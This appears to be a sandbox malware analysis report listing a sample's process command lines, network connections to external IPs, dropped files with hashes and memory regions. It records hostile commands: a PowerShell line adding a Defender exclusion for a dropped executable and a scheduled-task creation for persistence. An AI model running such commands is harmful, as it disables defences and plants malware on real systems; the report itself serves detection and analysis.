"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\pYSJOdJUV.exe"
C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\pYSJOdJUV" /XML "C:\Users\Admin\AppData\Local\Temp\tmp775E.tmp"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| US | 8.8.8.8:53 | 136.243.3.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 197.87.175.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| US | 8.8.8.8:53 | 181.129.81.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp |
Files
memory/4464-0-0x00000000708BE000-0x00000000708BF000-memory.dmp
memory/4464-1-0x0000000003070000-0x00000000030A6000-memory.dmp
memory/4464-2-0x00000000708B0000-0x0000000071060000-memory.dmp
memory/4464-3-0x0000000005D20000-0x0000000006348000-memory.dmp
memory/4464-4-0x00000000708B0000-0x0000000071060000-memory.dmp
memory/4464-5-0x0000000005990000-0x00000000059B2000-memory.dmp
memory/4464-6-0x0000000005AC0000-0x0000000005B26000-memory.dmp
memory/4464-7-0x0000000005CB0000-0x0000000005D16000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qe1xdecx.sye.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4464-17-0x0000000006350000-0x00000000066A4000-memory.dmp
memory/4464-19-0x00000000069B0000-0x00000000069FC000-memory.dmp
memory/4464-18-0x0000000006960000-0x000000000697E000-memory.dmp
memory/4980-29-0x00000000070B0000-0x00000000070E2000-memory.dmp
memory/4980-30-0x000000006D170000-0x000000006D1BC000-memory.dmp
memory/4980-40-0x0000000007070000-0x000000000708E000-memory.dmp
memory/4980-41-0x00000000070F0000-0x0000000007193000-memory.dmp
memory/4980-42-0x0000000007880000-0x0000000007EFA000-memory.dmp
memory/4980-43-0x0000000007230000-0x000000000724A000-memory.dmp
memory/4980-44-0x0000000007290000-0x000000000729A000-memory.dmp
memory/4980-45-0x00000000074C0000-0x0000000007556000-memory.dmp
memory/4980-46-0x0000000007430000-0x0000000007441000-memory.dmp
memory/4980-47-0x0000000007460000-0x000000000746E000-memory.dmp
memory/4980-48-0x0000000007470000-0x0000000007484000-memory.dmp
memory/4980-49-0x0000000007580000-0x000000000759A000-memory.dmp
memory/4980-50-0x00000000074B0000-0x00000000074B8000-memory.dmp
\??\c:\Users\Admin\AppData\Local\Temp\3r12k2sf\3r12k2sf.cmdline
| MD5 | 529bf2897ad4741cd16f28e263479182 |
| SHA1 | 87e145a6cb38b99b422144f4714f68d4171be67d |
| SHA256 | 30fa4fae0e4b8df16ff2b37a101f64af84b753964fedb64c7ba8526236f23822 |
| SHA512 | 87e811423e835ec369ed00503a18c9225d9db9aad75c0cac710c2816c8be2cd14db5ec3d5930c81ed52b260d3f20387ffbdd540264ad4498cb209c9da9b5429b |
\??\c:\Users\Admin\AppData\Local\Temp\3r12k2sf\3r12k2sf.0.cs
| MD5 | f8419bbc398e1a2b134eec88b333f8f6 |
| SHA1 | 57ebba4cad00272da80b919df0908ec40f9be48a |
| SHA256 | 25fccfa20b9b6d921f804167f1637df00cdd3203af9c0313f99de7c6e9989db3 |
| SHA512 | b1f4044b7a62e1de69d8e4a8ebf4db6bb24fd40d486ec5e44bd3e6b835e62ef5078c79236ded9c21ce1b0acd3575acaf1908f4fcc6ee12f1fd5f7455c4b14674 |
\??\c:\Users\Admin\AppData\Local\Temp\3r12k2sf\CSCEF7EBA91F50543469AF076C0231EAEEA.TMP
| MD5 | 7e4c1d97410eda85b59db63274d607c2 |
| SHA1 | 85434df29baf1e1b6df92e1324a84184d4d3483b |
| SHA256 | 8e0be0f884ce86c6acd923a9d3df8640c96ac21997bfc9a9f123fc35c8811d97 |
| SHA512 | 95fd7ec35fc3b5c85b33be16df4091db61e7be7a92452b5870a9e89d509f95c3f33cb28d5e43654237f32af9869570a62123263234b116249f75e74f6b11e78a |
C:\Users\Admin\AppData\Local\Temp\RESC719.tmp
| MD5 | 79ba557091a03b3908b700f966ed045e |
| SHA1 | 13e974cfb985dfc77f84e5d0ecb1a991de64d0c5 |
| SHA256 | 481e0cda505d1bb8329a9dbed9ff2b7c5c2c217604aed8c78b3793e103c45328 |
| SHA512 | 1ed2edff2072b4ce646cf70ad0c7671f6c47f5a26bc38e790f2a7ae3ed159865ad0c524f3bac6e988397fc2b7188ab62e455b03af4a4655944e10a934552408e |
memory/4464-65-0x0000000006F00000-0x0000000006F08000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\3r12k2sf\3r12k2sf.dll
| MD5 | 047db5d2abb24113a51e996fd6787210 |
| SHA1 | 4972acf6e257c3247dd1ff92ff62006a8066a044 |
| SHA256 | 9481b624c8327e4d3b4c5248cd3c13179765c7f48fd4d8c0e500f92b7730412e |
| SHA512 | ecb3c52d241ff60adbaa6eddb071a252a154aae6d7c674f967f264985c3345121251d2ac3c334420b4cf8ccc36aa587b724448da7d1c078b2881b973a7a879d6 |
memory/4464-71-0x00000000708BE000-0x00000000708BF000-memory.dmp
memory/4464-72-0x00000000708B0000-0x0000000071060000-memory.dmp
memory/4464-73-0x00000000708B0000-0x0000000071060000-memory.dmp
C:\Users\Admin\AppData\Roaming\caspol.exe
| MD5 | 318ff90d7a2797a041b836f7f8900f62 |
| SHA1 | fdda6afed7a1643ae353e7a635e6744c2b0a07d5 |
| SHA256 | 241d0df35796a2c2ae0ae4af70ef9e6571c23536fef35c1c0c172d703203a430 |
| SHA512 | 808942ba5db2e4d3d1d29a52c065acad4fcaae328dc43a3b977234f1b58d2838abf73d03b0992cd0f5ac4939e29f354c6c2ea25a4822a461b8ef74cec0eb3aac |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\pOwersheLl.eXe.log
| MD5 | 968cb9309758126772781b83adb8a28f |
| SHA1 | 8da30e71accf186b2ba11da1797cf67f8f78b47c |
| SHA256 | 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a |
| SHA512 | 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | c8c4710426720a42c39c741c417f0ff0 |
| SHA1 | e2aa3d9e64ea214e7c173c2b5def63566d0fb791 |
| SHA256 | 00f25b082ac90a05ee3b278fabf68c85c5b70d83dc9b6f7aa7e6d033f289243c |
| SHA512 | e1f4af8b832544aee75ea224fbcbe18f1cefae78be26fc46dee505846d6c852d3e014ab32888da5d21fe61ac2972b606d8b8e71390741c670dd5b09e631109e2 |
memory/3392-83-0x00000000004C0000-0x0000000000554000-memory.dmp
memory/4464-82-0x00000000708B0000-0x0000000071060000-memory.dmp
memory/3392-84-0x0000000005400000-0x00000000059A4000-memory.dmp
memory/3392-85-0x0000000004E50000-0x0000000004EE2000-memory.dmp
memory/3392-86-0x0000000004FA0000-0x000000000504A000-memory.dmp
memory/3392-87-0x00000000052B0000-0x00000000052BA000-memory.dmp
memory/3392-88-0x0000000005CA0000-0x0000000005D3C000-memory.dmp
memory/3392-89-0x00000000053D0000-0x00000000053E2000-memory.dmp
memory/3392-90-0x0000000007000000-0x0000000007064000-memory.dmp
memory/4240-95-0x0000000006370000-0x00000000066C4000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\tmp775E.tmp
| MD5 | 366c1d61f126fa1ee5fd11e6ee6db782 |
| SHA1 | 54424fed9bb9412f3688f80950e442c75eb707fd |
| SHA256 | 98cd5d7ff45e1df10d5d44c41cb4a30f2275e61b7f1a95c52236f4bf1d3c65a0 |
| SHA512 | e0aeb73077ca58fcac23b0cd07d964c34b61fc91465322f76d8df30288ee7fb47ad107c392d86aae5ec53464449a29b678ba8d47cd0aede77f4e6fd62de042f3 |
memory/4240-121-0x00000000069D0000-0x0000000006A1C000-memory.dmp
memory/2008-119-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/2008-116-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/4240-122-0x000000006CB20000-0x000000006CB6C000-memory.dmp
memory/4240-132-0x0000000007B50000-0x0000000007BF3000-memory.dmp
memory/1376-133-0x000000006CB20000-0x000000006CB6C000-memory.dmp
memory/4240-146-0x0000000007EC0000-0x0000000007ED1000-memory.dmp
memory/4240-147-0x0000000007F00000-0x0000000007F14000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 77a19fae546cc5a8215da61b018fe201 |
| SHA1 | 9148bcb04b8fead75f4f262bf6e3efaca6f074ff |
| SHA256 | a52359a84d379ef92c36a3c455d570aaff606c10f24aa89db3768a834a4cac21 |
| SHA512 | 3e911067cef28c64113adde76f6cddf33e5526a12ab788464894f62c71f491fc0e7c5cd2a8eb197629c5fee81991d282e7aace6a47ce8a48e07604e966a5a0db |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-493223053-2004649691-1575712786-1000\0f5007522459c86e95ffcc62f32308f1_755b0f1a-bb38-4bb2-bc7e-240c892146ee
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-493223053-2004649691-1575712786-1000\0f5007522459c86e95ffcc62f32308f1_755b0f1a-bb38-4bb2-bc7e-240c892146ee
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |